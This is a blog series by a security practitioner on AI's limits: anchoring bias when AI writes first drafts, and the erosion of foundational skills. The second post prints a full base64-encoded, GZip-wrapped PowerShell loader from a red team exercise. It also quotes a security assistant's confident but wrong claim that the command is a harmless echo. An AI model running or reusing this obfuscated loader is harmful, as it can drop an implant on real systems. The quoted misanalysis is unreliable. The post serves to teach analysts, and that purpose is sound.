AI on This Insecure World

AI and the Blank Page Problem

Sun, 07 Jun 2026 00:36:31 +1300

Part 2 of an ongoing series on where AI lets me down.

I work in cyber security, and the pressure to use AI at work has become fairly insistent over the last few months. Before I get into where I think it’s letting me down, I want to tell you about Jahreese.

When I was 12, my English writing teacher decided to use an inspirational picture book to show us how creativity works. She had the whole class gather round, and showed us each picture, slowly, with the intention we’d be silent and quietly thinking about what we were looking at. Here’s a picture similar to the one I remember in my mind when I think of this:

Image taken from Dreamstime.

Jahreese was a funny little bugger who decided to make a comment on the first thing that came to mind for each image in the book. Once we’d seen all the pictures, we headed back to our desks to write a story that was somehow related to the picture we’d seen. Four of us chose the chair that was floating away, and all four of us wrote stories that were variations of “I must go, my people need me”, which was what Jahreese chose to comment on this particular picture.

Miss Hughes, the rock star, went on to show us stories from other years that she’d done this exercise, and the variety was dramatically broader than our class. She went on to explain that we all perceive the world differently, and that in providing commentary on each picture, Jahreese limited our imaginations and inspiration from each picture to the picture plus his comment. It stuck with me.

Back to AI. My role is fairly specialised and requires a good level of expertise, so I’ve been playing with AI to see where it fits. I run into limitations over and over again that I’m going to document on this blog so I can figure out where my frustrations actually lie (thank you, rubber duck), as well as enabling my laziness, allowing me to just copy paste this link instead of typing out the same argument each time it comes up.

I got really excited when I started using AI, because I thought it would solve my blank page problem. And initially, it seemed to. When I had to write a process, document or guideline, I’d quickly bypass the blank page problem by getting Claude to generate an outline for me, or even the first draft, with the intention of changing the content to make it fit for purpose, and in record time.

But using AI to solve the blank page problem does the same thing Jahreese did to our class, it limits creativity. Whether that matters depends on the work. If I’m writing a status update, a meeting agenda, or a runbook for something that’s been done a thousand times before, a Claude-shaped first draft is probably close to where I’d land anyway. There’s no creativity to lose because there wasn’t much to be had.

But the work where I actually earn my keep is the weird stuff, the incident that doesn’t fit the usual patterns, the problem nobody’s written a runbook for yet. That’s exactly where I need the widest possible thinking, and it’s exactly where letting AI write the first draft hurts most. And the worst part is, once I’ve read Claude’s outline, I can’t un-read it. The “obvious” approach it laid out is now sitting in my head, colouring everything I think of next. Psychologists call this anchoring bias. The class couldn’t un-hear Jahreese, and I can’t un-see Claude.

I felt this recently when I was writing a CSIRT Practice Guideline (CPG, thanks, paramedicine) for tech leads spinning up a new incident. The point of the document was to give whoever’s leading the response a cognitive aid for the chaos of those first 30 minutes, the stuff that’s specific to my team, in our environment, with our customers. I asked Claude for a first draft, expecting to riff off it. What I got back was a cookie-cutter incident-response checklist, half of it lifted from site reliability engineering practices that have almost nothing to do with how a CSIRT handles a real compromise. None of it addressed the specific needs of my team.

I spent ages trying to make Claude’s draft work before I gave up and started over from a blank page. The version I eventually wrote looked nothing like the AI’s, but I’d burned an afternoon on the detour because I kept trying to salvage the framing instead of asking myself what actually belonged in the document.

So when I’m trying to solve a problem with a bit of novelty, I need to go back to beating my head against the blank page. In beating my head against the blank page, I’m allowing myself to fully consider the needs of the eventual solution without any constraints on my imagination for how to get there. As soon as AI drafts the output for me, it’s putting me on rails and limiting my creativity, and I’m not ok with that.

I’m going to use AI to keep polishing my product, but only after I’ve worked out my intended direction, and the draft has my ideas and voice. I’m not going to outsource my critical thinking to AI, and I encourage you to do the same. It’s worth the effort.

AI and Foundational Knowledge

Mon, 01 Jun 2026 00:36:31 +0000

Part 1 of an ongoing series on where AI lets me down.

I was having a chat with a friend today (Hi Harvey! We’re on the internets!) about how loud he’d have to yell, and how much energy and heat that would take, for him to yell “HI TP” from Queensland and be heard over in Ashburton, New Zealand. I wanted to make a joke about him burning himself to cinders in the attempt, but I didn’t know the physics well enough to do the math.

My first instinct was to ask Claude. Then I realised: if Claude forgot to factor in Doctor Physic’s Nineteenth Law of Thermodynamics and threw the answer off by a billion degrees (celsius, because I’m not a monster), I’d have literally no way of knowing.

And that’s the kicker. AI gets things wrong, sure, everyone knows that. But the problem isn’t the wrong answer, it’s that catching the wrong answer requires you to already know enough to spot it. If I don’t know thermodynamics, Claude can lie to me about thermodynamics all day and I’ll thank it for the answer.

In low-stakes situations like working out how big of a crater Harvey would make, this is fine. The trouble is when AI starts answering questions that actually matter, and the person asking doesn’t have the foundation to know when the answer is wrong. I’m seeing this in my job. Analysts are asking, for example, Charlotte AI (built into Crowdstrike) what this PowerShell snippet does:

JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcASAA0AHMASQAnACsAJwBBAEMAOAB2AHAAVwBrAEMAQQAwAHQATgB6AHMAaABYAEsATQAwAHIAVABpAHsAMAB9AHkATABjAHEAMwB6AGsAegBUAFUATgBHAEkARABxADQAcwBMAGsAbgBOADEAWABQAE4ASwA4AHMAcwB5AHMALwBMAFQAYwAwAHIAaQAnACsAJwBiAFcAeQBDAGkAagBLAFQAMAA0AHQATABzADQAdgBjAHMANAB2AHoAUwB2AFIAVgBOAEIATgBMADEARQB7ADEAfQAxAEYAUwBvAFYAawBnAEYAbQBxAEMAaABWAEYASgBVAG0AcQBxAGsAcQBWAEIAcgBEAGUAWQByAGUAQgBjADUAbABYAGkARgA1AEUAVQBCAEEATgBzAGgAOAA0AGwAZgBBAEEAQQBBACcAKQAtAGYAJwA5ACcALAAnAHcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApAGUAYwBoAG8AIAAnAEcAbwBSAE0AcQB4AFcAagAnADsA -InputFormat None

Charlotte confidently answered:

is decoded to echo 'GoRMqxWj';. The -InputFormat None parameter specifies that no input format is expected, which is useful for commands that do not require input.

If you’ve spent any time looking at PowerShell attacks, the shape of this snippet is immediately familiar: it’s a classic obfuscation chain, and it’s probably dropping an implant in memory.¹ What Charlotte did was find the innermost string at the end of the chain (the harmless echo) and report that as the answer, ignoring the four layers of Invoke-Expression-style wrapping around it. Worse, it did so without any hint of uncertainty.

By design, AI is trained to sound 100% confident in its output, that’s how the system works. But come on. In this case, the analyst took Charlotte’s answer at face value and closed the alert as a false positive. We were lucky: this particular PowerShell was part of a red team exercise, so we caught it on review. If it had been a real attacker, we’d have had a foothold sitting unaddressed in the environment because the analyst who caught the case that day didn’t have the foundational PowerShell knowledge to look at the base64 and feel their stomach drop.

This isn’t new. Lawyers are being sanctioned for submitting briefs to court with hallucinated precedents. Big-4 consulting firms are refunding hundreds of thousands of dollars for reports padded with hallucinated references. Academia is rife with the same. People making mistakes that can just as easily be made by humans, except the AI’s volume and confidence make those mistakes faster and harder to catch.

For me, in cyber security, the stakes are the same shape. We miss a system during a compromise, miss data leaving the environment, close a true positive as a false positive. These are resume-generating events. The thing that protects us is the analyst who knows what bad PowerShell looks like, the responder who knows what a normal day on the network feels like, the engineer who knows what their detection rules can and can’t see. Foundational knowledge. Pattern recognition built up over years of being wrong, being corrected, and trying again.

And here’s what worries me. The narrative right now is “lay off your junior developers or SOC analysts, you don’t need them, AI can do the work for them”. But the work juniors do isn’t just output, it’s how they build the foundational knowledge that lets them catch AI being wrong five years from now. If we replace that supervised, on-the-job, getting-things-wrong-and-being-corrected practice with an AI that confidently produces the answer, we don’t get the same seniors faster. We get no seniors at all. The people protecting the business from AI, the ones who can look at a base64 string and know to escalate, just don’t exist anymore. I don’t know how we fix this, and it scares me.

For those of you who are curious: Harvey didn’t spontaneously combust. He decided not to call out in the end. It was late, and it might have been inconsiderate to the neighbours.

Specifically: UTF-16 base64 wrapping a GZip-compressed payload, which decompresses to more PowerShell, which decodes a base64 string, which finally executes. ↩︎